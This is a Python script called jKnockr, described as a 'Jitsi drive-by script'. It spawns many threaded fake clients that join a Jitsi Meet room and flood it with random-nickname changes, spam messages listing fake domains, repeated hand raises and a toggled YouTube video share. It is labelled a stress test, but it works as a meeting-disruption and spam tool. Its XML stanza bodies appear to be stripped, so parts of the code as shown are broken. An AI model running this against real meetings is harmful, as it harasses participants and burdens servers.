#!/usr/bin/env python3 # jKnockr (Jitsi Drive-by Script) - Developed by acidvegas in Python (https://git.acid.vegas/jknockr) import argparse import http.cookiejar import random import socket import string import threading import time import urllib.error import urllib.parse import urllib.request import xml.etree.ElementTree as ET def client_join(client_id, tlds, args): '''Performs the client join process and handles messaging, hand raising, nickname changes, and video sharing.''' try: print(f'Client {client_id}: Starting') # Create a cookie jar and an opener with HTTPCookieProcessor cookie_jar = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar)) headers = { 'Content-Type': 'text/xml; charset=utf-8' } # Generate a large random number for the initial 'rid' rid = random.randint(1000000, 9999999) # Generate an initial random nickname of 50 characters (letters and numbers) nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=50)) # Extract domain and room name from the target URL parsed_url = urllib.parse.urlparse(args.target) target_domain = parsed_url.hostname room_name = parsed_url.path.strip('/') if not room_name: print(f'Client {client_id}: No room name specified in the target URL.') return bosh_url = f'https://{target_domain}/http-bind' # Step 1: Establish a session print(f'Client {client_id}: Establishing session') body = f'''''' request = urllib.request.Request(bosh_url, data=body.encode('utf-8'), headers=headers, method='POST') response = opener.open(request, timeout=10) response_text = response.read().decode('utf-8') sid = extract_sid(response_text) if not sid: print(f'Client {client_id}: Failed to obtain session ID.') print(f'Client {client_id}: Server response: {response_text}') return print(f'Client {client_id}: Obtained session ID: {sid}') # Increment rid rid += 1 # Step 2: Send authentication request print(f'Client {client_id}: Sending authentication request') auth_body = f''' ''' request = urllib.request.Request(bosh_url, data=auth_body.encode('utf-8'), headers=headers, method='POST') response = opener.open(request, timeout=10) response_text = response.read().decode('utf-8') if '''' request = urllib.request.Request(bosh_url, data=restart_body.encode('utf-8'), headers=headers, method='POST') response = opener.open(request, timeout=10) response_text = response.read().decode('utf-8') # Increment rid rid += 1 # Step 4: Bind resource print(f'Client {client_id}: Binding resource') bind_body = f''' ''' request = urllib.request.Request(bosh_url, data=bind_body.encode('utf-8'), headers=headers, method='POST') response = opener.open(request, timeout=10) response_text = response.read().decode('utf-8') jid = extract_jid(response_text) if not jid: print(f'Client {client_id}: Failed to bind resource.') print(f'Client {client_id}: Server response: {response_text}') return print(f'Client {client_id}: Bound resource. JID: {jid}') # Increment rid rid += 1 # Step 5: Send initial presence to join the room without hand raised print(f'Client {client_id}: Sending initial presence') presence_elements = [ '', f'{nickname}' ] # Build the presence stanza presence_stanza = ''.join(presence_elements) room_jid = f'{room_name}@conference.{target_domain}/{nickname}' presence_body = f''' {presence_stanza} ''' request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST') response = opener.open(request, timeout=10) response_text = response.read().decode('utf-8') print(f'Client {client_id}: Server response to initial presence (join room):') print(response_text) # Increment rid rid += 1 # Step 6: Send messages with hand raise/lower, nickname change, and video sharing hand_raised = True # Start with hand raised if enabled for i in range(1, 101): # Adjust number of iterations/messages per client as needed print(f'Client {client_id}: Starting iteration {i}') # Generate a new random nickname if nickname change is enabled if args.nick: nickname = ''.join(random.choices(string.ascii_letters + string.digits, k=50)) presence_elements = [] presence_elements.append(f'{nickname}') # Handle hand raise/lower if args.hand: timestamp = int(time.time() * 1000) if hand_raised: presence_elements.append(f'{timestamp}') # Toggle hand raised status for next iteration hand_raised = not hand_raised # Handle video sharing if args.youtube: # Example YouTube video ID (you can randomize or set this as needed) video_id = '21lma6hU3mk' # Alternate video state between 'start' and 'stop' video_state = 'start' if i % 2 == 1 else 'stop' presence_elements.append(f'{video_id}') # Build and send the presence update if any of the presence-related features are enabled if args.nick or args.hand or args.youtube: presence_stanza = ''.join(presence_elements) room_jid = f'{room_name}@conference.{target_domain}/{nickname}' presence_body = f''' {presence_stanza} ''' request = urllib.request.Request(bosh_url, data=presence_body.encode('utf-8'), headers=headers, method='POST') response = opener.open(request, timeout=10) response_text = response.read().decode('utf-8') print(f'Client {client_id}: Server response to presence update:') print(response_text) # Increment rid rid += 1 # Send message if messaging is enabled if args.message: # Build the message content try: if not tlds: print(f'Client {client_id}: TLD list is empty. Using default TLDs.') tlds = ['com', 'net', 'org', 'info', 'io'] msg = ' '.join(f'{random_word(5)}.{random.choice(tlds)}' for _ in range(5)) except IndexError as e: print(f'Client {client_id}: Error generating message: {e}') msg = 'defaultmessage.com' message_body = f''' {msg} ''' request = urllib.request.Request(bosh_url, data=message_body.encode('utf-8'), headers=headers, method='POST') response = opener.open(request, timeout=10) response_text = response.read().decode('utf-8') print(f'Client {client_id}: Server response to message {i}:') print(response_text) # Increment rid rid += 1 print(f'Client {client_id}: Finished') except Exception as e: print(f'Client {client_id}: Exception occurred: {e}') def extract_jid(response_text): '''Extracts the JID from the XML response.''' try: root = ET.fromstring(response_text) for elem in root.iter(): if 'jid' in elem.tag: return elem.text return None except ET.ParseError: return None def extract_sid(response_text): '''Extracts the SID from the XML response.''' try: root = ET.fromstring(response_text) return root.attrib.get('sid') except ET.ParseError: return None def force_ipv4(): '''Forces the use of IPv4 by monkey-patching socket.getaddrinfo.''' # Save the original socket.getaddrinfo socket._original_getaddrinfo = socket.getaddrinfo # Define a new getaddrinfo function that filters out IPv6 def getaddrinfo_ipv4_only(host, port, family=0, type=0, proto=0, flags=0): return socket._original_getaddrinfo(host, port, socket.AF_INET, type, proto, flags) # Override socket.getaddrinfo socket.getaddrinfo = getaddrinfo_ipv4_only def main(): '''Main function to start threads and execute the stress test.''' # Parse command-line arguments parser = argparse.ArgumentParser(description='Stress test a Jitsi Meet server.') parser.add_argument('target', help='Target room URL (e.g., https://meet.jit.si/roomname)') parser.add_argument('--message', action='store_true', help='Enable messaging') parser.add_argument('--hand', action='store_true', help='Enable hand raising') parser.add_argument('--nick', action='store_true', help='Enable nickname changes') parser.add_argument('--youtube', action='store_true', help='Enable video sharing') parser.add_argument('--threads', type=int, default=1, help='Number of threads (clients) to use') args = parser.parse_args() # Fetch the list of TLDs print('Fetching TLDs') try: tlds_url = 'https://data.iana.org/TLD/tlds-alpha-by-domain.txt' request = urllib.request.Request(tlds_url) with urllib.request.urlopen(request, timeout=10) as response: response_text = response.read().decode('utf-8') tlds = [line.lower() for line in response_text.splitlines() if not line.startswith('#')] print(f'Number of TLDs fetched: {len(tlds)}') if not tlds: print('TLD list is empty after fetching. Using default TLDs.') tlds = ['com', 'net', 'org', 'info', 'io'] except Exception as e: print(f'Failed to fetch TLDs: {e}') print('Using default TLDs.') tlds = ['com', 'net', 'org', 'info', 'io'] threads = [] for i in range(args.threads): t = threading.Thread(target=client_join, args=(i, tlds, args)) threads.append(t) t.start() # Optionally, join threads if you want the main thread to wait for t in threads: t.join() def random_word(length): '''Generates a random word of a given length.''' letters = string.ascii_lowercase return ''.join(random.choice(letters) for _ in range(length)) if __name__ == '__main__': force_ipv4() main()